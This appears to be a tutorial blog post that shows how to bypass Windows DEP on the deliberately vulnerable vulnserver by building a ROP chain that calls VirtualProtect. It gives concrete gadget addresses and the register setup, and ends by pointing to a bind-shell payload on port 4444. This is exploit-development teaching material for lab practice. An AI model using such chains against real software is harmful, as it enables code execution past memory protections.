Bypassing Windows DEP (Data Execution Prevention) Using ROP (Return Oriented Programming)
Bypassing DEP Using ROP Technique
In the last post, we talked about how to bypass the DEP OptOut mode using NTSetInformationProcess, which will disable DEP for the current running process. However, this approach does not work when dealing with hardware DEPs (AlwaysOn).
Corelan did an amazing job at explaining the approach in detail. He listed the important Windows API functions that we can leverage to bypass DEP. This is the list:
- VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. This will allow you to create a new executable memory region, copy your shellcode to it, and execute it. This technique may require you to chain 2 API’s into each other.
- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. In essence, this function will provide a very similar technique as VirtualAlloc(), but may require 3 API’s to be chained together))
- SetProcessDEPPolicy(). This allows you to change the DEP policy for the current process (so you can execute the shellcode from the stack) (Vista SP1, XP SP3, Server 2008, and only when DEP Policy is set to OptIn or OptOut)
- NtSetInformationProcess(). This function will change the DEP policy for the current process so you can execute your shellcode from the stack.
- VirtualProtect(PAGE_READ_WRITE_EXECUTE). This function will change the access protection level of a given memory page, allowing you to mark the location where your shellcode resides as executable.
- WriteProcessMemory(). This will allow you to copy your shellcode to another (executable) location, so you can jump to it and execute the shellcode. The target location must be writable and executable.
To achieve this, we must set up our stack in a special way so that the instructions are as per our requirement. At this point, it is crucial for you to have a basic understanding of the stack and how to set up the arguments to call a function.
We will be using “gadgets” (instructions followed by a RETN) to craft our payload.
In this paper, I will only be covering VirtualProtect().
There are multiple ways to do this, it really depends on your creativity. The main idea is to align the stack to use available instructions to fulfil our needs.
VirtualProtect()
The goal is to call this function with our stack. Here are the tasks we need to do to set this up.
- Figure out the address to VirtualProtect(). Different versions of windows have different addresses.
- Figure out the return address when the VirtualProtect() function is done executing. This should point to our malicious payload in which we have changed the permission to be executable.
- Figure out the address of where our shellcode will be written to. This will be the lpAddress parameter.
- The Memory Protection constant 0x40 (read-write privileges) as the flNewProtect parameter.
- Figure out the size of the region whose access protection attributes are to be changed, in bytes. This will be the dwSize parameter.
Run the POC with a breakpoint at 0x625011AF (JMP ESP) because ESP contains our dummy payload (\xCC) and verify that it is not executable because of DEP. You should also get something similar to the below screenshot, access violation.
If we have all that figured out, now we can begin to modify our existing POC to set up the foundation of this attack. Here is what the stack is going to look like:
We will be setting up the parameter on the registers, then we will use the PUSHAD instruction to push those registers to the stack.
To find the address of VirtualProtect, go to immunity debugger, attach vulnserver, executables, right click on kernel32.dll, view names, then type virtualprotect . The address is 0x7C801AD0
Now we need to design our stack to be able to call
VirtualProtect(StartofPayload, 0x320, 0x40, [0x00BEFA20]);
With that on the registers, if we PUSHAD to the stack, it will call VirtualProtect like the image snippet below.
The Address might not be exactly the same, because when adding/removing instructions from the ROP NOP, the offset is different. Some registers stay the same, such as: address of VirtualProtect(), dwSize, flNewProtect.
The dynamic variables are: return after VirtualProtect() — this should be the start of our payload, but we add NOPs so we can be more flexible on where it lands. lpAddress is also dynamic, as well as lpflOldProtect.
Let’s dissect each registers.
ECX
This register will hold the 4th argument (lpflOldProtect) and we will put the starting address of our payload. Since we know that the start of our payload is not far from ESP, we will get the value of ESP and put it in ECX using this instruction.
0x77eb78a1, # PUSH ESP | POP EBP| RETN0x4
0x7c80aee4, # XCHG EAX,EBP
0xDEADBEEF, # dummy
0x77c14001, # XCHG EAX,ECX # RETN
It will push the value of ESP on to the stack, pop it into EBP, then exchange the values of EAX and EBP, then exchange the values of EAX and ECX. So at this point ECX has the value of ESP.
EDX
EDX will hold the memory protection flag, read-write, which is represented by 0x40, or 0x00000040, but since we cannot pop that value right away because it contains null bytes, we will make some adjustments. If we negate 0xFFFFFFC0, that becomes 0x40, so we will use that.
We exchange EDX and EAX, since there are more operations to be done on EAX then EDX. Then we pop the value 0xFFFFFFC0 to EAX, then negate it, then exchange it back.
0x77c58f9c, # XCHG EAX,EDX # RETN
0x77EECCD9, # POP EAX | RETN
0xFFFFFFC0, # value to negate, becomes 0x40
0x77d74960, # NEG EAX # RETN
0x77c58f9c, # XCHG EAX,EDX # RETN
EBX
EBX will hold the 3rd argument of the function, which is the value of the length of our payload to have the permission changed. A similar operation to what we did for the EDX register will be done here too.
0x77dfb406, # XOR EAX,EAX # RETN
0x77EECCD9, # POP EAX | RETN
0xFFFFFCE0, # value to negate, becomes 0x320
0x77d74960, # NEG EAX # RETN
0x7c87f898, # XCHG EAX,EBX # ADD EAX,C033FFF9 # POP EDI # POP ESI # POP EBP # RETN 0x0C
0xDEADBEEF, # for dummy pop EDI
0xDEADBEEF, # for dummy pop ESI
0xDEADBEEF, # for dummy pop EBP
EBP
This is the return address of when VirtualProtect() is done executing. Ideally, we want this to be our shellcode, but it’s hard to know the address of that. So we will take an estimate, 100 bytes away from the current ESP. Hopefully this will land on the NOP slides of our shellcode.
0x77EED887, # PUSH ESP | POP EBP | RETN0x4
0xDEADBEEF, #dummy
0xDEADBEEF, #dummy
0xDEADBEEF, #dummy
0x7c80aee4, # XCHG EAX,EBP # RETN
0xDEADBEEF, # dummy
0x77c4ec0b, # ADD EAX,100 # POP EBP # RETN
0xDEADBEEF, # dummy
0x7c80aee4, # XCHG EAX,EBP # RETN
We push the value of ESP to the stack and pop it to EBP. Then we exchange EBP and EAX. At this point EAX holds the current ESP value, then we add 100 to EAX and exchange it again with EBP. So now EBP is in the NOP slide.
ESI
This one is simple. It’s just the address of VirtualProtect().
0x662cd821, # POP ESI | RETN
0x7C801AD0, # address of VirtualProtect()
EDI
This register is not used. So we will fill it with ROP NOP
0x77c2a80a, # POP EDI | RETN
0x62501022, # ROP NOP
EAX
This register is not used. So we will fill it with ROP NOP
0x7c87f221, # POP EAX | RETN 0x4
0x62501022, # ROP NOP
Once we have everything set up on the registers, we can push them to the stack with this instruction
0x7c92751b, # PUSHAD | RETN
This is what the stack looks like
Pretty cool right?!
Let’s examine the parameters one by one.
Return Address
0x00BEFB60, is the NOP sled. Nice!
Arguments
lpAddress — 0x00BEFA94
It points to the start of our NOP sled.
dwSize — 800 dec, it will go 800 bytes from the start of our NOP sled.
flNewProtect — PAGE_EXECUTE_READWRITE
lpflOldProtect — It points to somewhere in our ROP gadgets.
If we let it run, it will get paused after our NOP sleds, because we set breakpoints there (\xCC).
Now you can change the payload to anything you want.
For this case, I will use the previous payload from previous write ups which will expose port 4444.